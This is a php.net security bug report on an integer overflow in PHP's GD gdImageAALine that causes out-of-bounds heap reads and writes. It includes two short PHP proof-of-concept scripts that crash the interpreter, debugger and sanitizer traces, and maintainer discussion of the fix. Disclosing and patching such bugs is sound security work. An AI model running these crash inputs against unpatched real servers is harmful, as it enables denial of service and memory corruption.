php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72482 Illegal write/read access caused by gdImageAALine overflow
Submitted: 2016-06-24 05:54 UTC Modified: 2016-11-16 04:02 UTC
From: fernando at null-life dot com Assigned: stas (profile)
Status: Closed Package: GD related
PHP Version: 5.5.37 OS: *
Private report: No CVE-ID: None
 [2016-06-24 05:54 UTC] fernando at null-life dot com
Description:
------------
Ilegal write/read access at gdImageSetAAPixelColor caused by gdImageAALine overflow.

gdImageAALine tries to clip the limit values and fails because an integer overflow occurs while calculating the new line limits.

gdImageLine is NOT vulnerable because this adjusting code was updated with a new function called clip_1d, but PHP failed to update gdImageAALine code. 

gdImageLine (not vulnerable)
https://github.com/php/php-src/blob/master/ext/gd/libgd/gd.c#L1115

gdImageAALine (vulnerable)
https://github.com/php/php-src/blob/master/ext/gd/libgd/gd.c#L1299

libgd is not vulnerable, as it implements clip_1d in both cases 
https://github.com/libgd/libgd/blob/master/src/gd.c#L3589

PHP 5 is affected, but my debugging is done on PHP 7.

One of the integer overflows happens here:

1314   x2 -= ((im->sy - y2) * (x1 - x2)) / (y2 - y1);
gdb-peda$ p ((im->sy - y2) * (x1 - x2)) / (y2 - y1)   ## (a * b) / c  fails
$8 = 0x0
gdb-peda$ p (im->sy - y2) * ((x1 - x2) / (y2 - y1))   ## a * (b / c)   works
$9 = 0x40000c10

The illegal write access happens while trying to set this pixels to draw the line in gdImageSetAAPixelColor:

https://github.com/php/php-src/blob/master/ext/gd/libgd/gd.c#L1272

inline static void gdImageSetAAPixelColor(gdImagePtr im, int x, int y, int color, int t)
{
  int dr,dg,db,p,r,g,b;
  dr = gdTrueColorGetRed(color);
  dg = gdTrueColorGetGreen(color);
  db = gdTrueColorGetBlue(color);

  p = gdImageGetPixel(im,x,y);
  r = gdTrueColorGetRed(p);
  g = gdTrueColorGetGreen(p);
  b = gdTrueColorGetBlue(p);

  BLEND_COLOR(t, dr, r, dr);
  BLEND_COLOR(t, dg, g, dg);
  BLEND_COLOR(t, db, b, db);
  im->tpixels[y][x]=gdTrueColorAlpha(dr, dg, db,  gdAlphaOpaque);  ## Ilegal write access
}

-----------
poc1.php - gdb output


Breakpoint 2, php_gd_gdImageAALine (im=0xf5a6c000, x1=0x0, y1=0x0, x2=0xc, y2=0x3ef, col=0x1000) at /home/user/php/php-70/ext/gd/libgd/gd.c:1343
1343            dx = x2 - x1;
gdb-peda$ p/d x1
$1 = 0
gdb-peda$ p/d y1
$2 = 0
gdb-peda$ p/d x2
$4 = 12
gdb-peda$ p/d y2
$3 = 1007                        ## Out of bound  [0-1006]

------------------------------------------------------------
poc2.php - gdb output

gdb-peda$ b gd.c:1343
Breakpoint 2 at 0x81750c4: file /home/user/php/php-70/ext/gd/libgd/gd.c, line 1343.
gdb-peda$ r

Breakpoint 2 at 0x81750c4: file /home/user/php/php-70/ext/gd/libgd/gd.c, line 1343.

Breakpoint 2, php_gd_gdImageAALine (im=0xf5a6c000, x1=0x63, y1=0xffffffff, x2=0x0, y2=0x65, col=0xff) at /home/user/php/php-70/ext/gd/libgd/gd.c:1343
1343            dx = x2 - x1;
gdb-peda$ p/d x1
$3 = 99
gdb-peda$ p/d y1
$4 = -1                            ## Out of bound        Bounds: [0-99]
gdb-peda$ p/d x1
$5 = 99
gdb-peda$ p/d y2
$6 = 101                           ## Out of bound        Bounds: [0-99]

-----------------------------------------------------------------------------------


Test script:
---------------
poc1.php

<?php
$img = imagecreatetruecolor(13, 1007);
imageantialias($img, true);
imageline($img, 0, 0, 1073745919, 1073745919, 4096);

poc2.php

<?php
$img = imagecreatetruecolor(100, 100);
imageantialias($img, true);
imageline($img, 1094795585, 0, 2147483647, 255, 0xff);


Expected result:
----------------
No crash

Actual result:
--------------
poc1.php - valgrind output 

valgrind /home/user/php/php-70/sapi/cli/php -n poc.php
==8827== Memcheck, a memory error detector
==8827== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==8827== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==8827== Command: /home/user/php/php-70/sapi/cli/php -n poc.php
==8827==
==8827== Invalid write of size 4
==8827==    at 0x8174EE3: gdImageSetAAPixelColor (gd.c:1281)
==8827==    by 0x817526B: php_gd_gdImageAALine (gd.c:1386)
==8827==    by 0x816D86E: zif_imageline (gd.c:3088)
==8827==    by 0x84B9359: ZEND_DO_ICALL_SPEC_HANDLER (zend_vm_execute.h:586)
==8827==    by 0x84B8DFA: execute_ex (zend_vm_execute.h:414)
==8827==    by 0x84B8EEA: zend_execute (zend_vm_execute.h:458)
==8827==    by 0x84648C7: zend_execute_scripts (zend.c:1427)
==8827==    by 0x83DD6BE: php_execute_script (main.c:2494)
==8827==    by 0x85174FC: do_cli (php_cli.c:974)
==8827==    by 0x8518747: main (php_cli.c:1344)
==8827==  Address 0x2c is not stack'd, malloc'd or (recently) free'd
==8827== Process terminating with default action of signal 11 (SIGSEGV)

-----------------------------------------------------------------------

poc2.php - valgrind output


==9778== Invalid write of size 4
==9778==    at 0x8174EE3: gdImageSetAAPixelColor (gd.c:1281)
==9778==    by 0x817526B: php_gd_gdImageAALine (gd.c:1386)
==9778==    by 0x816D86E: zif_imageline (gd.c:3088)
==9778==    by 0x84B9359: ZEND_DO_ICALL_SPEC_HANDLER (zend_vm_execute.h:586)
==9778==    by 0x84B8DFA: execute_ex (zend_vm_execute.h:414)
==9778==    by 0x84B8EEA: zend_execute (zend_vm_execute.h:458)
==9778==    by 0x84648C7: zend_execute_scripts (zend.c:1427)
==9778==    by 0x83DD6BE: php_execute_script (main.c:2494)
==9778==    by 0x85174FC: do_cli (php_cli.c:974)
==9778==    by 0x8518747: main (php_cli.c:1344)
==9778==  Address 0x18c is not stack'd, malloc'd or (recently) free'd
==9778== Process terminating with default action of signal 11 (SIGSEGV)


------------------------

poc1.php -  asan  output

USE_ZEND_ALLOC=0 /ram/php-fuzz/phuzzer/php-70/sapi/cli/php -n poc.php

ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf2104cbc at pc 0x085da169 bp 0xffef6bd8 sp 0xffef6bc8
READ of size 4 at 0xf2104cbc thread T0
    #0 0x85da168 in gdImageSetAAPixelColor /home/user/php/php-70-asan/ext/gd/libgd/gd.c:1281
    #1 0x85da168 in php_gd_gdImageAALine /home/user/php/php-70-asan/ext/gd/libgd/gd.c:1388
    #2 0x85af578 in zif_imageline /home/user/php/php-70-asan/ext/gd/gd.c:3088
    #3 0x9a388ac in ZEND_DO_ICALL_SPEC_HANDLER /home/user/php/php-70-asan/Zend/zend_vm_execute.h:586
    #4 0x980d06f in execute_ex /home/user/php/php-70-asan/Zend/zend_vm_execute.h:414
    #5 0x9b287c5 in zend_execute /home/user/php/php-70-asan/Zend/zend_vm_execute.h:458
    #6 0x95e4c3c in zend_execute_scripts /home/user/php/php-70-asan/Zend/zend.c:1427
    #7 0x932d58b in php_execute_script /home/user/php/php-70-asan/main/main.c:2494
    #8 0x9b31004 in do_cli /home/user/php/php-70-asan/sapi/cli/php_cli.c:974
    #9 0x80a6e78 in main /home/user/php/php-70-asan/sapi/cli/php_cli.c:1344
    #10 0xf6c3b636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #11 0x80a755a  (/ram/php-fuzz/phuzzer/php-70-asan/sapi/cli/php+0x80a755a)

0xf2104cbc is located 0 bytes to the right of 4028-byte region [0xf2103d00,0xf2104cbc)
allocated by thread T0 here:
    #0 0xf723ad06 in malloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96d06)
    #1 0x94b68b9 in _emalloc /home/user/php/php-70-asan/Zend/zend_alloc.c:2446

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user/php/php-70-asan/ext/gd/libgd/gd.c:1281 gdImageSetAAPixelColor
Shadow bytes around the buggy address:
  0x3e420940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e420950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e420960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e420970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e420980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x3e420990: 00 00 00 00 00 00 00[04]fa fa fa fa fa fa fa fa
  0x3e4209a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e4209b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e4209c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e4209d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e4209e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==32664==ABORTING

-----------------------------------------------------------------------------

poc2.php - ASan output

ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf1c0e83c at pc 0x085da805 bp 0xffacbbe8 sp 0xffacbbd8
READ of size 4 at 0xf1c0e83c thread T0
    #0 0x85da804 in php_gd_gdImageGetPixel /home/user/php/php-70-asan/ext/gd/libgd/gd.c:997
    #1 0x85da804 in gdImageSetAAPixelColor /home/user/php/php-70-asan/ext/gd/libgd/gd.c:1273
    #2 0x85da804 in php_gd_gdImageAALine /home/user/php/php-70-asan/ext/gd/libgd/gd.c:1388
    #3 0x85af578 in zif_imageline /home/user/php/php-70-asan/ext/gd/gd.c:3088
    #4 0x9a388ac in ZEND_DO_ICALL_SPEC_HANDLER /home/user/php/php-70-asan/Zend/zend_vm_execute.h:586
    #5 0x980d06f in execute_ex /home/user/php/php-70-asan/Zend/zend_vm_execute.h:414
    #6 0x9b287c5 in zend_execute /home/user/php/php-70-asan/Zend/zend_vm_execute.h:458
    #7 0x95e4c3c in zend_execute_scripts /home/user/php/php-70-asan/Zend/zend.c:1427
    #8 0x932d58b in php_execute_script /home/user/php/php-70-asan/main/main.c:2494
    #9 0x9b31004 in do_cli /home/user/php/php-70-asan/sapi/cli/php_cli.c:974
    #10 0x80a6e78 in main /home/user/php/php-70-asan/sapi/cli/php_cli.c:1344
    #11 0xf6cc2636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #12 0x80a755a  (/ram/php-fuzz/phuzzer/php-70-asan/sapi/cli/php+0x80a755a)

0xf1c0e83c is located 4 bytes to the left of 400-byte region [0xf1c0e840,0xf1c0e9d0)
allocated by thread T0 here:
    #0 0xf72c1d06 in malloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96d06)
    #1 0x94b68b9 in _emalloc /home/user/php/php-70-asan/Zend/zend_alloc.c:2446

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user/php/php-70-asan/ext/gd/libgd/gd.c:997 php_gd_gdImageGetPixel
Shadow bytes around the buggy address:
  0x3e381cb0: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
  0x3e381cc0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x3e381cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e381ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e381cf0: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
=>0x3e381d00: fa fa fa fa fa fa fa[fa]00 00 00 00 00 00 00 00
  0x3e381d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e381d20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e381d30: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
  0x3e381d40: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x3e381d50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==438==ABORTING

Patches

fix-72482 (last revision 2016-10-25 14:10 UTC) by cmb@php.net)

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-06-24 23:40 UTC] fernando at null-life dot com
This have been tested in 32-bits Linux platforms.
 [2016-06-25 04:35 UTC] pajoye@php.net
-Status: Open +Status: Assigned -Assigned To: +Assigned To: pajoye
 [2016-07-19 15:16 UTC] fernando at null-life dot com
@pajoye, This is a reminder that this bug is still open, since a new release is coming in two days (and it's probably the last release for 5.5), also please remember #72494 :) sorry for the noise.

Thanks!
 [2016-07-20 05:19 UTC] pajoye@php.net
Hi Fernando,

Patch has been applied.

Howwvrr i had to revert it for 5.6 because the behaviour of the line clipping seems to differ and we still end up with OOB. Same code does not oob read/write in 7.0/5.5/master.

I will investigate it further in the next couple of days.
 [2016-10-25 01:42 UTC] stas@php.net
-Assigned To: pajoye +Assigned To: cmb
 [2016-10-25 14:10 UTC] cmb@php.net
The following patch has been added/updated:

Patch Name: fix-72482
Revision:   1477404655
URL:        https://bugs.php.net/patch-display.php?bug=72482&patch=fix-72482&revision=1477404655
 [2016-10-25 14:12 UTC] cmb@php.net
Well, actually this issue may also affect imageline(), because
clip_1d() expects the maxdim to be the largest value that is
inside the image/clipping boundary. An image that is 10 pixels
large, may only draw from 0 to 9 (inclusive). Therefore the
respective code in gdImageLine() should be adjusted to pass
gdImageSX(im)-1 resp. gdImageSY(im)-1. This is not stricly
necessary, however, because normal line drawing calls
gdImageSetPixel() only if gdImageBoundsSafe() succeeds.

The suggested patch for gdImageAALine()[1] is insufficient,
because antialiased pixels are not checked with
gdImageBoundsSafe() (except for master). There, subtracting 1 from
the image dimensions is mandatory.

The attached patch fixes both issues, and besides including a
regression test for antialiased line drawing, includes also a test
that shows that subtracting 1 from the image dimensions when
calling clip_1d() does not affect normal line drawing.

[1] <http://git.php.net/?p=php-src.git;a=commit;h=b25009fc2c97c6b5a93b3fc5f6a5b221b62f1273>
 [2016-10-30 21:20 UTC] stas@php.net
The fix is in security repo as 64d1b24ce38fbfb4d3bca8f9a6b6cf05d7167fdd and in https://gist.github.com/a87b2c24fc00f85d4e08b8b77c6c3b0f

Please verify.
 [2016-10-30 21:30 UTC] stas@php.net
Amended version: 6499581af76cfe986e12330faabb3a7c36d45ffc and in https://gist.github.com/873314feb4f89bd8336711333299f748
 [2016-10-31 10:24 UTC] cmb@php.net
<https://gist.github.com/anonymous/873314feb4f89bd8336711333299f748>
looks good to me.

Fernando, does it solve the issue for you, too?
 [2016-11-09 01:04 UTC] tyrael@php.net
-Summary: Ilegal write/read access caused by gdImageAALine overflow +Summary: Illegal write/read access caused by gdImageAALine overflow
 [2016-11-13 15:45 UTC] fernando at null-life dot com
Patch works ok and it was already published with 5.6.28 and 7.0.13. 

Can you mark this as solved/public? Thanks!
 [2016-11-13 15:53 UTC] cmb@php.net
-Status: Assigned +Status: Closed
 [2016-11-13 15:54 UTC] cmb@php.net
-Assigned To: cmb +Assigned To: stas
 [2016-11-13 15:54 UTC] cmb@php.net
I've closed the ticket, but I have no permission to remove the
private flag. Stas, could you please do that?
 [2016-11-16 04:02 UTC] stas@php.net
It's not private.
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sat Nov 18 06:03:51 2017 UTC